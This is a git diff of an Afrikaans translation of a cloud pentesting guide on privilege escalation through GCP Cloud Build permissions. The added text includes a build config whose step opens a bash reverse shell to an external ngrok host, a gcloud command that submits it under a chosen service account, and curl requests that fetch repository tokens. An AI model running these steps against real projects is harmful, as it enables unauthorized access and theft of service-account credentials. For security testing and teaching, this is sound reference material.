Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:49:42 +00:00
parent 0e68ac903f
commit d146cc9b1f

View File

@@ -13,21 +13,33 @@ Vir meer inligting oor Cloud Build, kyk:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
Met hierdie toestemming kan jy **'n cloud build indien**. Die cloudbuild masjien sal in sy lêerstelsel **standaard 'n token van die cloudbuild Service Account** hê: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Jy kan egter **enige diensrekening binne die projek** in die cloudbuild konfigurasie aandui.\
Daarom kan jy net die masjien laat uitvloe na jou bediener die token of **'n omgekeerde shell binne-in dit kry en die token vir jouself kry** (die lêer wat die token bevat, mag verander).
Daarom kan jy net die masjien laat uitvloe na jou bediener die token of **'n omgekeerde shell binne dit kry en jouself die token kry** (die lêer wat die token bevat, mag verander).
Jy kan die oorspronklike eksploit script [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waar dit die token vandaan neem, het nie vir my gewerk nie). Kyk dus na 'n script om die [**skepping, eksploit en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python script om 'n omgekeerde shell binne die cloudbuild masjien te kry en [**dit hier te steel**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander diensrekeninge aan te dui)**.**
#### Direkte uitbuiting via gcloud CLI
1- Skep `cloudbuild.yaml` en wysig met jou luisterdata
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- Laai 'n eenvoudige bou op sonder bron, die yaml-lêer en spesifiseer die SA om op die bou te gebruik:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Gebruik van python gcloud biblioteek
Jy kan die oorspronklike exploit-skrip [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waar dit die token vandaan neem, het nie vir my gewerk nie). Daarom, kyk na 'n skrip om die [**skepping, eksploit en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python-skrip om 'n omgekeerde shell binne die cloudbuild masjien te kry en [**dit hier te steel**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander diensrekeninge te spesifiseer)**.**
Vir 'n meer diepgaande verduideliking, besoek [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**Potensieel** met hierdie toestemming sal jy in staat wees om **'n cloud build op te dateer en net die diensrekening token te steel** soos dit met die vorige toestemming uitgevoer is (maar ongelukkig kon ek tydens die skryf hiervan nie enige manier vind om daardie API aan te roep nie).
TODO
### `cloudbuild.repositories.accessReadToken`
Met hierdie toestemming kan die gebruiker die **lees toegang token** kry wat gebruik word om toegang tot die repository te verkry:
Met hierdie toestemming kan die gebruiker die **lees toegangstoken** verkry wat gebruik word om toegang tot die repository te verkry:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,7 +59,7 @@ curl -X POST \
```
### `cloudbuild.connections.fetchLinkableRepositories`
Met hierdie toestemming kan jy **die repos verkry waartoe die verbinding toegang het:**
Met hierdie toestemming kan jy **die repos kry waartoe die verbinding toegang het:**
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \